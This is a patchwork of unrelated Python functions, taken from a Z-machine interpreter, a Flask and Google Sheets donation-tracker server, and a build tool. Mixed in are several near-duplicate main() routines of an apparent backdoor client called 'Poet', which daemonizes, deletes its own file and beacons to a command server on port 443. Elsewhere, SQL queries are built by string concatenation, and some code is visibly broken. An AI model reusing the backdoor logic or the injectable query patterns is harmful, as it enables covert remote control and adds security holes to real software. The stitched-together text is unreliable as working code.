def get_prop(env, opinfo):
obj = opinfo.operands[0]
prop_num = opinfo.operands[1]
prop_addr = compat_get_prop_addr(env, obj, prop_num)
got_default_prop = prop_addr == 0
if got_default_prop:
result = get_default_prop(env, prop_num)
else:
size, num = get_sizenum_from_addr(env, prop_addr)
if size == 1:
result = env.u8(prop_addr)
elif size == 2 or FORGIVING_GET_PROP:
result = env.u16(prop_addr)
else:
msg = 'illegal op: get_prop on outsized prop (not 1-2 bytes)'
msg += ' - prop ' + str(prop_num)
msg += ' of obj ' + str(obj) + ' (' + get_obj_str(env, obj) + ')'
msg += ' (sized at ' + str(size) + ' bytes)'
print_prop_list(env, obj)
err(msg)
set_var(env, opinfo.store_var, result)
if DBG:
warn(' obj', obj, '(', get_obj_str(env, obj), ')')
warn(' prop_num', prop_num)
warn(' result', result)
warn(' got_default_prop', got_default_prop)
print_prop_list(env, obj)
def put_prop(env, opinfo):
obj = opinfo.operands[0]
prop_num = opinfo.operands[1]
val = opinfo.operands[2]
prop_addr = compat_get_prop_addr(env, obj, prop_num)
if prop_addr == 0:
msg = 'illegal op: put_prop on nonexistant property'
msg += ' - prop ' + str(prop_num)
msg += ' not found on obj ' + str(obj) + ' (' + get_obj_str(env,
obj) + ')'
err(msg)
size, num = get_sizenum_from_addr(env, prop_addr)
if size == 2:
env.write16(prop_addr, val)
elif size == 1:
env.write8(prop_addr, val & 0xff)
else:
msg = 'illegal op: put_prop on outsized prop (not 1-2 bytes)'
msg += ' - prop ' + str(prop_num)
msg += ' of obj ' + str(obj) + ' (' + get_obj_str(obj) + ')'
msg += ' (sized at ' + size + ' bytes)'
err(msg)
if DBG:
warn(' obj', obj, '(', get_obj_str(env, obj), ')')
warn(' prop_num', prop_num)
warn(' val', val)
print_prop_list(env, obj)
def fill_text_buffer(env, user_input, text_buffer):
text_buf_len = env.u8(text_buffer)
if text_buf_len < 2:
err('read error: malformed text buffer')
text_buf_ptr = text_buffer + 1
if env.hdr.version >= 5:
# input may already exist, may have to append to it
if env.u8(text_buf_ptr):
text_buf_ptr += env.u8(text_buf_ptr) + 1
else:
text_buf_ptr += 1
i = 0
max_len = text_buf_len - (text_buf_ptr - text_buffer)
while i < min(len(user_input), max_len):
env.write8(text_buf_ptr + i, user_input[i])
i += 1
if env.hdr.version >= 5:
env.write8(text_buffer + 1, (text_buf_ptr + i) - text_buffer - 2)
else:
# the below is why I can't use a python for loop
# (it wouldn't set i properly on 0-char input)
env.write8(text_buf_ptr + i, 0)
def handle_corrupt_key(dict={}, key_name="", types_allowed=None):
'''
Throws error and quits if a key with name set to value of 'key_name' does not exist or if the value associated
with the key is not set to type 'types_allowed'
Used primarily to test for corrupted server_config.json.
:param dict: ServerConfigDict
:param key_name: Str
:param types_allowed: Type[]
:return: None
'''
# Attempt to get value from key
try:
# Throw error and exit if value associated with key is not of any types specified in 'types_allowed'
if type(dict[key_name]) not in types_allowed:
# Print error message "Failed to read server_config.json. The '<key_name>' key must be set to one of the following data types: ['typename',...]"
dbg.err(
"Failed to read server_config.json. The '" + key_name + "' key needs must be set to one of the following data types: " +
str([i.__name__ for i in types_allowed]))
# Prompt for input then exit
input("Cannot continue. Press any key to exit..")
os._exit(-1)
# Throw error and exit if key cannot be found
except KeyError:
dbg.err("Failed to read server_config.json. '" + key_name + "' key does not exist in server_config.json.")
input("Cannot continue. Press any key to exit..")
os._exit(-1)
def link(vars, link_objs, debug):
args = vars.get('link', None)
if not args:
# Nothing to link
return True
if (len(args) % 2) != 0:
err("link directive must have even number of "
"arguments: pairs of ldscript and output filename.")
return False
ld = os.environ.get('LD', '')
if ld:
linker = ld
else:
cross_compile = os.environ.get('CROSS_COMPILE', '')
linker = '%sld' % cross_compile
linker_fp = find_elf(linker)
if not linker_fp:
print("Linker not found: %s" % linker)
return False
for ldscript, elf in zip(args[0::2], args[1::2]):
os.makedirs(os.path.dirname(elf), exist_ok=True)
cmd = [linker, "-T", ldscript] + link_objs + ["-o", elf]
pcmd = " LD %s" % elf
if run(pcmd, debug, linker_fp, cmd) != 0:
return False
return True
def http_homepage():
'''
Sends html from ‘./Website/index.html' when client connects
'''
# Attempt to send homepage to client
dbg.log("Attempting to send './Website/index.html' to clients")
# Test if ./Website/index.html exists.
try:
open('./Website/index.html', 'r')
# Throw error and exit if ./Website/index.html does not exist
except FileNotFoundError:
dbg.err(
"Failed to send homepage to client because './Website/index.html' does not exist."
)
input(
"Server cannot run without homepage... Press any key to exit.")
os._exit(-1)
# Send html from ./Website/index.html to client
html = send_from_directory('./Website/', 'index.html')
dbg.success(
"'./Website/index.html' successfully retrieved. Sending to clients..."
)
return html
def main():
if len(sys.argv) != 2:
prog_name = sys.argv[0]
if sys.argv[0].endswith('__main__.py'):
prog_name = '-m xyppy'
print('usage examples:')
print(' python ' + prog_name + ' STORY_FILE.z5')
print(' python ' + prog_name + ' http://example.com/STORY_FILE.z5')
sys.exit()
url = sys.argv[1]
if any(map(url.startswith, ['http://', 'https://', 'ftp://'])):
f = urllib2.urlopen(url)
mem = f.read()
f.close()
else:
with open(url, 'rb') as f:
mem = f.read()
if blorb.is_blorb(mem):
mem = blorb.get_code(mem)
env = Env(mem)
if env.hdr.version not in [3, 4, 5, 7, 8]:
err('unsupported z-machine version: ' + str(env.hdr.version))
term.init(env)
env.screen.first_draw()
ops.setup_opcodes(env)
try:
while True:
step(env)
except KeyboardInterrupt:
pass
def set_window(env, opinfo):
env.screen.finish_wrapping()
env.current_window = opinfo.operands[0]
if env.current_window == 1:
env.cursor[1] = (0, 0)
if env.current_window not in [0, 1]:
err('set_window: requested unknown window:', env.current_window)
def query(self,query,limit=1000): tab = self.db.cursor() try: tab.execute(query) except: debug.err(query) exit() res = [[self.adjust(item) for item in row] for row in tab.fetchmany(limit)] kis = [str(i[0]) for i in tab.description] return (kis,res)
def read_char(env, opinfo):
# NOTE: operands[0] must be 1, but I ran into a z5 that passed no operands
# (strictz) so let's just ignore the first operand instead...
if len(opinfo.operands) > 1:
if len(opinfo.operands) != 3:
err('read_char: num operands must be 1 or 3')
if opinfo.operands[1] != 0 or opinfo.operands[2] != 0:
if DBG:
warn('read_char: interrupts not impl\'d yet!')
c = ascii_to_zscii(env.screen.getch())[0]
set_var(env, opinfo.store_var, c)
def update_radiothonInfo():
'''
This method updates the global ‘radiothonInfo’ variable by getting the latest data from GSheets document and
parsing it and the config into a ‘RadiothonInfo’ data structure.
This method uses the ‘gsparser.py’ module to process all the data.
:return: None
'''
# Bring global variables into local scope
global radiothonInfo
global database
global config
# Attempt to refresh GAPI credentials. Needed otherwise Google will reject requests after certain period of time.
dbg.log("Attempting to refresh GAPI credentials")
database.gs.login()
dbg.success("Successfully refreshed GAPI credentials")
# Update config
update_config_status()
# Log radiothonInfo update attempt
dbg.log("Attempting to update server status (poller.radiothonInfo)")
# Get all rows from Google sheets document
dbg.log("Attempting to get all the data from GSheets document.")
rows = database.get_all_vals()
dbg.success("Successfully got all data from GSheets document.")
# Throw error and exit if there is no data in GSheets document at all
if len(rows) == 0:
dbg.err("Failed to update server status because there is no data or header in Google Sheets document")
input("Cannot continue. Press any key to exit.")
os._exit(-1)
# Get header from GSheets doc to compare pledges against.
header = rows[0]
# PledgeDict accumulator. Will contain a list of 'Pledge' data structures
pledges = []
# Get all rows with content excluding header (which is why i starts at 1)
# from GSheets doc and turn them into PledgeDict's
for i in range(1, len(rows)):
pledges.append(gsparser.to_Pledge(rows[i], header))
# Update radiothonInfo to latest state
radiothonInfo = gsparser.to_RadiothonInfo(pledges, config)
# Log that radiothonInfo was successfully updated
dbg.success("Server status update successful (poller.radiothonInfo updated)")
def set_colour(env, opinfo):
fg_col = opinfo.operands[0]
bg_col = opinfo.operands[1]
if fg_col > 9 or bg_col > 9 or fg_col < 0 or bg_col < 0:
err('set_color attempted illegal color')
if fg_col == 1:
fg_col = env.hdr.default_fg_color
if fg_col != 0:
env.fg_color = fg_col
if bg_col == 1:
bg_col = env.hdr.default_bg_color
if bg_col != 0:
env.bg_color = bg_col
def pull(env, opinfo):
var = opinfo.operands[0]
frame = env.callstack[-1]
if len(frame.stack) == 0:
err('illegal op: attempted to pull from empty stack')
result = frame.stack.pop()
set_var(env, var, result, push_stack=False)
if DBG:
warn(' result', result)
warn(' dest', get_var_name(var))
def main():
global args
args = get_args()
if CFG.SERVER_IP is not None:
args.server = CFG.SERVER_IP
if CFG.BEACON_INTERVAL is not None:
args.interval = CFG.BEACON_INTERVAL
# dynamically load all modules. needs to be before daemonize because it
# needs to be able to open itself to find modindex.txt in package.c
# daemonize changes the cwd so the open won't work.
module.load_modules()
# daemonize if we're not in --no-daemon or --debug mode
if not args.no_daemon and not args.debug:
daemonize()
# disable debug messages if we're not in --debug
if not args.debug:
debug.disable()
if not args.no_selfdestruct:
debug.info('Deleting client')
try:
selfdestruct()
except Exception as e:
# fatal
sys.exit(0)
HOST = args.server
PORT = int(args.port) if args.port else 443
debug.info(
('Poet started with interval of {} seconds to port {}. Ctrl-c to exit'
).format(args.interval, PORT))
try:
while True:
if is_active(HOST, PORT):
debug.info('Server is active')
PoetClient(HOST, PORT).start()
else:
debug.warn('Server is inactive')
time.sleep(args.interval)
except KeyboardInterrupt:
print
debug.err('Poet terminated')
except Exception as e:
debug.warn('Fatal error: {}'.format(e.message))
debug.err('Poet terminated')
sys.exit(0)
def query(self,table,limit=100,where=None,order=None,desc=False):
query = "SELECT * FROM "+table
if where: query+= " WHERE "+where
if order: query+= " ORDER BY "+order
if desc: query+= " DESC"
tab = self.db.cursor()
try:
tab.execute(query)
except:
debug.err(query)
exit()
res = [[self.adjust(item) for item in row] for row in tab.fetchmany(limit)]
kis = [str(i[0]) for i in tab.description]
return (kis,res)
def main():
global args
args = get_args()
if CFG.SERVER_IP is not None:
args.server = CFG.SERVER_IP
if CFG.BEACON_INTERVAL is not None:
args.interval = CFG.BEACON_INTERVAL
# dynamically load all modules. needs to be before daemonize because it
# needs to be able to open itself to find modindex.txt in package.c
# daemonize changes the cwd so the open won't work.
module.load_modules()
# daemonize if we're not in --no-daemon or --debug mode
if not args.no_daemon and not args.debug:
daemonize()
# disable debug messages if we're not in --debug
if not args.debug:
debug.disable()
if not args.no_selfdestruct:
debug.info("Deleting client")
try:
selfdestruct()
except Exception as e:
# fatal
sys.exit(0)
HOST = args.server
PORT = int(args.port) if args.port else 443
debug.info(("Poet started with interval of {} seconds to port {}. Ctrl-c to exit").format(args.interval, PORT))
try:
while True:
if is_active(HOST, PORT):
debug.info("Server is active")
PoetClient(HOST, PORT).start()
else:
debug.warn("Server is inactive")
time.sleep(args.interval)
except KeyboardInterrupt:
print
debug.err("Poet terminated")
except Exception as e:
debug.warn("Fatal error: {}".format(e.message))
debug.err("Poet terminated")
sys.exit(0)
def query(self, table, limit=100, where=None, order=None, desc=False):
query = "SELECT * FROM " + table
if where: query += " WHERE " + where
if order: query += " ORDER BY " + order
if desc: query += " DESC"
tab = self.db.cursor()
try:
tab.execute(query)
except:
debug.err(query)
exit()
res = [[self.adjust(item) for item in row]
for row in tab.fetchmany(limit)]
kis = [str(i[0]) for i in tab.description]
return (kis, res)
def handle_read(env, text_buffer, parse_buffer, time=0, routine=0):
if time != 0 or routine != 0:
if DBG:
err('interrupts requested but not impl\'d yet!')
user_input = ascii_to_zscii(env.screen.get_line_of_input().lower())
fill_text_buffer(env, user_input, text_buffer)
if env.hdr.version < 5 or parse_buffer != 0:
handle_parse(env, text_buffer, parse_buffer)
# return ord('\r') as term char for now...
# TODO: the right thing
return ord('\r')
def get_var(env, var_num, pop_stack=True):
if var_num == 0:
frame = env.callstack[-1]
if pop_stack:
return frame.stack.pop()
else:
return frame.stack[-1]
elif var_num < 16:
frame = env.callstack[-1]
return frame.locals[var_num - 1]
elif var_num < 256:
g_idx = var_num - 16
g_base = env.hdr.global_var_base
return env.u16(g_base + 2 * g_idx)
else:
err('illegal var num: ' + str(var_num))
def compat_get_next_prop(env, obj, prop_num):
if prop_num == 0:
prop_start = get_prop_list_start(env, obj)
next_prop_num = get_prop_num(env, prop_start)
else:
prop_data_addr = compat_get_prop_addr(env, obj, prop_num)
if prop_data_addr == 0:
msg = 'get_next_prop: passed nonexistant prop '
msg += str(prop_num) + ' for obj ' + str(obj) + ' (' + get_obj_str(
env, obj) + ')'
print_prop_list(env, obj)
err(msg)
sizenum_ptr = get_sizenum_ptr(env, prop_data_addr)
size = get_prop_size(env, sizenum_ptr)
next_prop_num = get_prop_num(env, prop_data_addr + size)
return next_prop_num
def handle_return(env, return_val):
frame = env.callstack.pop()
if len(env.callstack) == 0:
err('returned from unreturnable/nonexistant function!')
if frame.return_val_loc != None:
set_var(env, frame.return_val_loc, return_val)
env.pc = frame.return_addr
if DBG:
warn(' helper: handle_return')
warn(' return_val', return_val)
if frame.return_val_loc:
warn(' return_val_loc', get_var_name(frame.return_val_loc))
else:
warn(' return_val_loc None')
warn(' return_addr', hex(frame.return_addr))
def get_prop_size(env, prop_ptr):
if env.hdr.version < 4:
return (env.u8(prop_ptr) >> 5) + 1
else:
first_byte = env.u8(prop_ptr)
if first_byte & 128:
size_byte = env.u8(prop_ptr + 1)
if not (size_byte & 128):
msg = 'malformed prop size byte: ' + bin(size_byte)
msg += ' - first_byte:' + bin(first_byte)
msg += ' - prop_ptr:' + hex(prop_ptr)
err(msg)
return (size_byte & 63) or 64 # zero len == 64
if first_byte & 64:
return 2
return 1
def split_window(env, opinfo):
env.screen.finish_wrapping()
old_height = env.top_window_height
# an unfortunate hack, but makes Inform games look better,
# as they intentionally don't fill up the entire status bar (so
# this is me trying to keep the Trinity trick and those bars both
# looking good). only doing it on 0 to 1-bar transitions,
# because those sound like status bars being made, right?
if opinfo.operands[0] == 1 and env.top_window_height == 0:
env.screen.scroll_top_line_only()
env.top_window_height = opinfo.operands[0]
if env.top_window_height > env.hdr.screen_height_units:
err('split_window: requested split bigger than screen:',
env.top_window_height)
def set_var(env, var_num, result, push_stack=True):
result &= 0xffff
if var_num == 0:
frame = env.callstack[-1]
if push_stack:
frame.stack.append(result)
else:
frame.stack[-1] = result
elif var_num < 16:
frame = env.callstack[-1]
frame.locals[var_num - 1] = result
elif var_num < 256:
g_idx = var_num - 16
g_base = env.hdr.global_var_base
env.write16(g_base + 2 * g_idx, result)
else:
err('set_var: illegal var_num: ' + str(var_num))
def parse_call_header(env, call_addr):
num_locals = env.u8(call_addr)
if num_locals > 15:
err('calling a non-function (more than 15 local vars)')
if env.hdr.version < 5:
locals_ptr = call_addr + 1
locals = []
for i in xrange(num_locals):
locals.append(env.u16(locals_ptr))
locals_ptr += 2
code_ptr = locals_ptr
else:
locals = [0] * num_locals
code_ptr = call_addr + 1
return locals, code_ptr
def machine(vars, objdir):
machine = vars.get('machine')
if not machine:
err("machine directive is not set")
return False
m = os.path.abspath(machine)
if not os.path.exists(m):
err("machine headers not found at path: %s" % m)
return False
dst = os.path.join(objdir, 'machine')
#if os.path.lexists(dst):
# os.unlink(dst)
if not os.path.lexists(dst):
os.symlink(m, dst)
return True
def main():
global args
args = get_args()
# daemonize if we're not in --no-daemon or --debug mode
if not args.no_daemon and not args.debug:
daemonize()
# disable debug messages if we're not in --debug
if not args.debug:
debug.disable()
if not args.no_selfdestruct:
debug.info('Deleting client')
try:
selfdestruct()
except Exception as e:
# fatal
sys.exit(0)
HOST = args.host
PORT = int(args.port) if args.port else 443
debug.info(
('Poet started with interval of {} seconds to port {}. Ctrl-c to exit'
).format(args.interval, PORT))
try:
while True:
if is_active(HOST, PORT):
debug.info('Server is active')
PoetClient(HOST, PORT).start()
else:
debug.warn('Server is inactive')
time.sleep(args.interval)
except KeyboardInterrupt:
print
debug.err('Poet terminated')
except socket.error as e:
debug.warn('Socket error: {}'.format(e.message))
debug.err('Poet terminated')
sys.exit(0)
def lex(row=[], head=[]):
'''
Associates row and header with appropiate 'Donor' data structure keys
:param row:
:param head:
:return: DonorDict
'''
# Associate GSheet values with their respective 'Pledge' data type keys
pledge = {}
pledge["firstName"] = find("First name", row, head)
pledge["city"] = find("City", row, head)
pledge["amtDonated"] = find("Amount donated", row, head)
pledge["pledgeType"] = find("Website or Caller", row, head)
pledge["paidByCredit"] = find("Paid by credit card?", row, head)
pledge["isPaid"] = find("Is paid", row, head)
# Throw errors for every column data type that could not be found
if "First name" not in head:
dbg.err(
"ALL first names of donors will NOT be displayed because the 'First name' column header does not exist."
)
if "City" not in head:
dbg.err(
"ALL donor's cities will NOT be displayed because the 'City' column header does not exist."
)
if "Amount donated" not in head:
dbg.err(
"ALL donation amounts will NOT be displayed because the 'Amount donated' column header does not exist."
)
if "Website or Caller" not in head:
dbg.err(
"ALL pledge types (Website or Caller) will be deemed 'Website' payments because the 'Website or Caller' column header does not exist."
)
if "Paid by credit card?" not in head:
dbg.err(
"ALL credit card payments will NOT be displayed because the 'Paid by credit card?' column header does not exist."
)
return pledge
def main():
global args
args = get_args()
# daemonize if we're not in --no-daemon or --debug mode
if not args.no_daemon and not args.debug:
daemonize()
# disable debug messages if we're not in --debug
if not args.debug:
debug.disable()
if not args.no_selfdestruct:
debug.info('Deleting client')
try:
selfdestruct()
except Exception as e:
# fatal
sys.exit(0)
HOST = args.host
PORT = int(args.port) if args.port else 443
debug.info(('Poet started with interval of {} seconds to port {}. Ctrl-c to exit').format(args.interval, PORT))
try:
while True:
if is_active(HOST, PORT):
debug.info('Server is active')
PoetClient(HOST, PORT).start()
else:
debug.warn('Server is inactive')
time.sleep(args.interval)
except KeyboardInterrupt:
print
debug.err('Poet terminated')
except socket.error as e:
debug.warn('Socket error: {}'.format(e.message))
debug.err('Poet terminated')
sys.exit(0)
def output_stream(env, opinfo):
stream = to_signed_word(opinfo.operands[0])
if stream < 0:
stream = abs(stream)
if stream == 3:
table_addr = env.memory_ostream_stack.pop()
zscii_buffer = ascii_to_zscii(env.output_buffer[stream])
buflen = len(zscii_buffer)
env.write16(table_addr, buflen)
for i in xrange(len(zscii_buffer)):
env.write8(table_addr + 2 + i, zscii_buffer[i])
env.output_buffer[stream] = ''
if len(env.memory_ostream_stack) == 0:
env.selected_ostreams.discard(stream)
else:
env.selected_ostreams.discard(stream)
elif stream > 0:
env.selected_ostreams.add(stream)
if stream == 3:
table_addr = opinfo.operands[1]
if len(env.memory_ostream_stack) == 16:
err('too many memory-based ostreams (>16)')
env.memory_ostream_stack.append(table_addr)
def set_doc(self, doc_ID='', wsheet_ID=0):
'''
Link with Google Sheets document ID 'doc_ID' and worksheet ID 'wsheet_ID'
:param doc_ID: Str
:param wsheet_ID: ID
:return: None
'''
try:
# Attempt to link 'sheet' against GSheets document with ID 'doc_ID' and worksheet ID 'wsheet_ID'
dbg.log("Attempting to link with Google Sheets document...")
self.sheet = self.gs.open_by_key(doc_ID).get_worksheet(wsheet_ID)
# Print success message if able to succesfully link with GSheets document
dbg.success("Successfully linked with Google Sheets document")
except gs_exceptions.APIError as e:
# Throw error and exit if read permissions were not set
if e.response.json()['error']['code'] == 403:
dbg.err(
"Didn't have permissions to read Google Sheets document. "
+
"Please make document public or create a shareable link to it."
)
input("Press any key to exit...")
os._exit(-1)
# Throw error and exit if document does not exist
elif e.response.json()['error']['code'] == 404:
dbg.err(
"Tried to read Google Sheets document, but the document does not exist."
)
input("Press any key to exit...")
os._exit(-1)
# Throw error and exit if any other bad response is received
else:
dbg.err(
"Tried to read Google Sheets document, but got the following error response instead:"
)
dbg.err(e.response.text)
input("Press any key to exit...")
os._exit(-1)
def exception(exception=None):
if exception:
debug.err(str(exception))
traceback.print_exc()
p.Dispose()
currentProcess.Dispose()
# ============================================================================
# 3.n Self test
# ----------------------------------------------------------------------------
if __name__ == '__main__':
debug.init(sys.stdout)
sys.stdout = debug.out
sys.stderr = debug.err
debug.brf('brief')
debug.out('normal')
debug.vrb('verbose')
debug.err('error')
sys.stderr.write('Error message\n')
try:
1/0
except Exception, e:
debug.exception(e)
def addGuiAppender(remotePort = 31337):
""" Create and add UDP appender for GUI
"""
appender = Appender.UdpAppender()
appender.Name = 'GuiUdpAppender'
debugFilter = Filter.LevelMatchFilter()
debugFilter.LevelToMatch = Core.Level.Debug
debugFilter.AcceptOnMatch = True
def die(msg=None):
if msg:
debug.err(msg)
debug.err('Poet server terminated')
sys.exit(0)
def die(msg=None):
if msg:
debug.err(msg)
debug.err('Poet server terminated')
sys.exit(0)
def main():
'''
Entry point for host.py module
:return: void
'''
# Bring global variables into local scope
global http
global socket
# These constant variables specify port and address for server to run on
# '0.0.0.0' tells OS to make server visible to other computers on network
ADDRESS = '0.0.0.0'
PORT = 80
# Thread that the server runs on (daemon thread)
server_thread = threading.Thread(target=socket.run,
args=[http, ADDRESS, PORT])
server_thread.setDaemon(True)
# Sends html from ‘./Website/index.html’
@http.route('/')
def http_homepage():
'''
Sends html from ‘./Website/index.html' when client connects
'''
# Attempt to send homepage to client
dbg.log("Attempting to send './Website/index.html' to clients")
# Test if ./Website/index.html exists.
try:
open('./Website/index.html', 'r')
# Throw error and exit if ./Website/index.html does not exist
except FileNotFoundError:
dbg.err(
"Failed to send homepage to client because './Website/index.html' does not exist."
)
input(
"Server cannot run without homepage... Press any key to exit.")
os._exit(-1)
# Send html from ./Website/index.html to client
html = send_from_directory('./Website/', 'index.html')
dbg.success(
"'./Website/index.html' successfully retrieved. Sending to clients..."
)
return html
# Sends html from ‘./Website/{path}’
@http.route('/<path:path>')
def http_other(path):
'''
Sends html from ‘./Website/{path} when client connects
'''
# Attempt to send homepage to client
dbg.log("Attempting to send './Website/" + path + "' to clients")
# Test if ./Website/<path> exists. Throw warning if it doesn't.
# Wont exit because something like 'favicon.ico' might not be integral to the application
try:
open('./Website/' + path, 'r')
except FileNotFoundError:
dbg.warn("Failed to send file './Website/" + path +
"' to clients . File does not exist.")
# Send html to client
html = send_from_directory('./Website/', path)
dbg.success("'./Website/" + path +
"' successfully retrieved. Sending to client...")
return html
# Emit pageData event when clients connect
@socket.on('connect')
def socket_connect():
'''
Emit a ‘pageData’ event and send poller.radiothonInfo to clients when a client connects through SocketIO
'''
emit_pageData()
# Attempt to start server on port 80
try:
# Start server
dbg.log("Attempting to start SocketIO/HTTP server on address '" +
ADDRESS + ":" + str(PORT) + "'...")
server_thread.start()
# Log success
dbg.success("Successfully started server")
# If server fails to start, throw error
except Exception as e:
dbg.err("Failed to start SocketIO/HTTP server on address '" + ADDRESS +
":" + str(PORT) + "'. Flask threw the following error: \n" +
str(e))
print("Cannot continue. Press any key to exit.")
os._exit(-1)
# Periodically send 'pageData' event to client at interval specified in config
while True:
# Send pageData event and 'radiothonInfo' data structure to client
emit_pageData()
# If poller.config has been set
if poller.config != {}:
# Sleep for however long was specified in config
sleep(poller.config['gsheets']['poll_interval'] * 60)
# Else sleep for a second and try to emit pageData event again
else:
sleep(1)
def compile(r, link_objs, debug, parallel):
cc = os.environ.get('CC', '')
if cc:
compiler = cc
else:
cross_compile = os.environ.get('CROSS_COMPILE', '')
compiler = '%sgcc' % cross_compile
compiler_fp = find_elf(compiler)
if not compiler_fp:
print("compiler not found in PATH: %s" % compiler)
return False
env_cflags = os.environ.get('CFLAGS', '').split()
env_aflags = os.environ.get('AFLAGS', '').split()
defs = []
flags = r['flags']
for key in flags:
t = '-D%s' % key.upper()
if flags[key]:
t += '=%s' % flags[key].upper()
defs.append(t)
archive_objs = []
cpu_count = 1
if (parallel):
cpu_count = multiprocessing.cpu_count()
pool = multiprocessing.Pool(processes=cpu_count)
res = []
vars = r['vars']
resobj = r['resobj']
for obj in resobj:
obj_cflags = list(env_cflags)
obj_cflags += resobj[obj].get('build-flags', [])
obj_cflags += resobj[obj].get('cflags', [])
obj_aflags = list(env_aflags)
obj_aflags += resobj[obj].get('build-flags', [])
obj_aflags += resobj[obj].get('aflags', [])
objdir = resobj[obj].get('objdir', [DEFAULT_OBJDIR])[0]
if not machine(vars, objdir):
return False
searchp = ['-I%s' % objdir]
if 'search-path' in resobj[obj]:
for p in resobj[obj]['search-path']:
searchp.append('-I%s' % p)
if obj.endswith('.a'):
pcmd = " AA %s" % obj
print(pcmd)
archive_objs.append(obj)
continue
o = None
d = {'c': obj_cflags, 'S': obj_aflags}
for x in d:
p = "%s.%s" % (obj[:-2], x)
if os.path.exists(p):
o = p
fl = d[x]
break
if not o:
err("Source code (or archive file) not found"
" for the object: %s" % obj)
return False
ob = os.path.abspath(obj)
objfile = "%s/%s" % (objdir, ob)
link_objs.append(objfile)
os.makedirs(os.path.dirname(objfile), exist_ok=True)
cmd = [compiler] + defs + fl + searchp
cmd += [o, '-c', '-o', objfile]
pcmd = " CC %s" % o
if debug:
print(" ".join(cmd))
v = pool.apply_async(run, (pcmd, debug, compiler_fp, cmd))
res.append(v)
# Wait completion
for x in res:
rc = x.get()
if (rc != 0):
return False
# Add all the archives to the tail
link_objs += archive_objs
return True